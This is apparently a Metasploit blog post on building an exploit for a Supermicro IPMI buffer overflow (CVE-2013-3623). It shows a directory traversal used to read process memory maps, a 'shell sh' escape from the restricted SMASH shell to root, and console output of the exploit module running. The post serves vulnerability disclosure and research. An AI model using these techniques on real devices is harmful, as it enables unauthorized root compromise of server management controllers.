Last week @hdmoore published the details about several vulnerabilities into the Supermicro IPMI firmware. With the advisory's release, several modules were landed into Metasploit in order to check Supermicro's device against several of the published vulnerabilities:
|smt_ipmi_static_cert_scanner||This module can be used to check devices using an static SSL certificate shipped with Supermicro Onboard IPMI controllers. (CVE-2013-3619).|
|smt_ipmi_url_redirect_traversal||This module can be used to abuse a directory traversal on the url_redirect.cgi component and download files with root privileges. Authenticated access to the web interface is required.|
|smt_ipmi_cgi_scanner||This module can be used to remotely check if a device if vulnerable to two unauthenticated remote buffer overflow, respectively on the login.cgi (CVE-2013-3621) and close_window.cgi (CVE-2013-3623) components.|
Just a day after the advisory's release we were able to finish a functional exploit for one of the unauthenticated overflows (CVE-2013-3623), allowing to get root access to the device through the close_window.cgi component on the web interface.
This exploit development was quite interesting because we had just remote restricted access to a real Supermicro device, running the firmware SMT_X9_214 and, of course, emulation. While emulation is a great resource to search for vulnerabilities and development of proof of concepts, often it isn't enough to ensure a real live working exploit. In this blog we would like to share a couple of funny tricks we used to end the real live exploit. Hope you enjoy!
Traversal to the rescue
The first requirement in order to deploy a real-live working exploit is to know which common memory protections (NX, ASLR) apply. In order to get this information the Directory Traversal vulnerability on the url_redirect.cgi was used. Since the vulnerability allows access to arbitrary files with root privileges, even with restricted web access, this one was perfect to get some environment information. The trick here was to use the directory traversal to read "/proc/self/maps". Even when the maps would be the url_redirect.cgi's one, it would be good enough to check memory protections applied to cgi's processes, and even when we were aware of the lack of ASLR for the main executable and libraries, thanks to the @hdmoore's previous experience with the UPnP exploit, we were able also to discover stack and heap executables:
00012000-00033000 rwxp 00012000 00:00 0 [heap] bee78000-bee8d000 rwxp bee78000 00:00 0 [stack]
This information was highly valuable in order to design the exploit for the close_window.cgi overflow, where the space and badchars limitations, would make a "return into libc-system" really hard otherwise!
With the information above, and the help of qemu, a first version of the exploit could be developed. Still not accurate enough to get real live shells! Indeed, when exploiting, details and the environment are important things to have into account, and the traversal directory vulnerability, even when powerful, was not enough to get a session. In order to end the exploit on a reasonable time, collect debug information about the process on the real device became a requirement.
Having restricted shell access to the real Supermicro's device, was time to check what could be done with it:
ATEN SMASH-CLP System Management Shell, version 1.04 Copyright (c) 2008-2009 by ATEN International CO., Ltd. All Rights Reserved -> help / The managed element is the root Verbs : cd show help version exit ->
SSH access provides a restricted SMASH System Management Shell, which indeed isn't very useful for environment inspection / exploiting debug. Even when the command line help isn't very encouraging, neither the SMASH's specification from the DMTF, we had access to the firmware and the ATEN SMASH binaries. Fortunately, after digging a little around them, something interesting was found. While following the code responsible of handling the command line, close to the parsing of pipes ("|") and semicolon characters (";") the parsing of the next word keys is found:
Specially interesting is to find the reserved word "shell", so time for a new test:
-> shell test Change shell to test changing shell fails.: No such file or directory ->
Interesting! So looks like a shell comand exists indeed. A little more of static analysis reveals which the shell command not only exists, but should allow easily arbitrary command execution :
Time to test:
-> shell ls Change shell to ls SFCB bin dropbear lib lost+found proc sys usr web SMASH dev etc linuxrc nv sbin tmp var wsman ->
Looks good, one more test...
-> shell sh Change shell to sh # uname -a Linux (none) 2.6.17.WB_WPCM450.1.3 #5 Wed Apr 24 10:53:55 PDT 2013 armv5tejl unknown #
And a root shell opens in front of us! (SMT_X9_315 firmware fixes the "shell sh" escape). With a root shell available, in order to end the development of the exploit we chose to configure generation of core dumps to the /tmp folder, mounted with rw and enough space available:
# mount rootfs on / type rootfs (rw) /dev/root on / type cramfs (ro) proc on /proc type proc (rw) none on /sys type sysfs (rw) none on /tmp type tmpfs (rw) devpts on /dev/pts type devpts (rw) /dev/mtdblock1 on /nv type jffs2 (rw) none on /tmp type tmpfs (rw) /dev/mtdblock4 on /web type cramfs (ro) # df -h Filesystem Size Used Available Use% Mounted on rootfs 20.0M 20.0M 0 100% / /dev/root 20.0M 20.0M 0 100% / none 36.0M 1.1M 34.9M 3% /tmp /dev/mtdblock1 1.3M 320.0k 960.0k 25% /nv none 36.0M 1.1M 34.9M 3% /tmp /dev/mtdblock4 3.9M 3.9M 0 100% /web
To extract the core dumps we used openssl s_server and the legit web server certificate to set up a fake HTTP server, allowing external access to the /tmp directory contents. Several core dumps later we were able to make the exploit work smoothly on the real device :
msf exploit(smt_ipmi_close_window_bof) > show options Module options (exploit/linux/http/smt_ipmi_close_window_bof): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no Use a proxy chain RHOST yes The target address RPORT yes The target port VHOST no HTTP server virtual host Payload options (cmd/unix/generic): Name Current Setting Required Description ---- --------------- -------- ----------- CMD echo metasploit > /tmp/metasploit.txt yes The command string to execute Exploit target: Id Name -- ---- 0 Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware SMT_X9_214 msf exploit(smt_ipmi_close_window_bof) > rexploit [*] Reloading module... [*] - Sending exploit... [*] Exploit completed, but no session was created.
Checking the proof of success on the Supermicro's device:
ATEN SMASH-CLP System Management Shell, version 1.04 Copyright (c) 2008-2009 by ATEN International CO., Ltd. All Rights Reserved -> shell sh Change shell to sh # cd /tmp # pwd /tmp # cat metasploit.txt metasploit
Definitely, it you are using Supermicro's motherboard, you should review the information and updates on the Supermicro IPMI Firmware Vulnerabilities article, and apply the vendor's updates if necessary.
Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments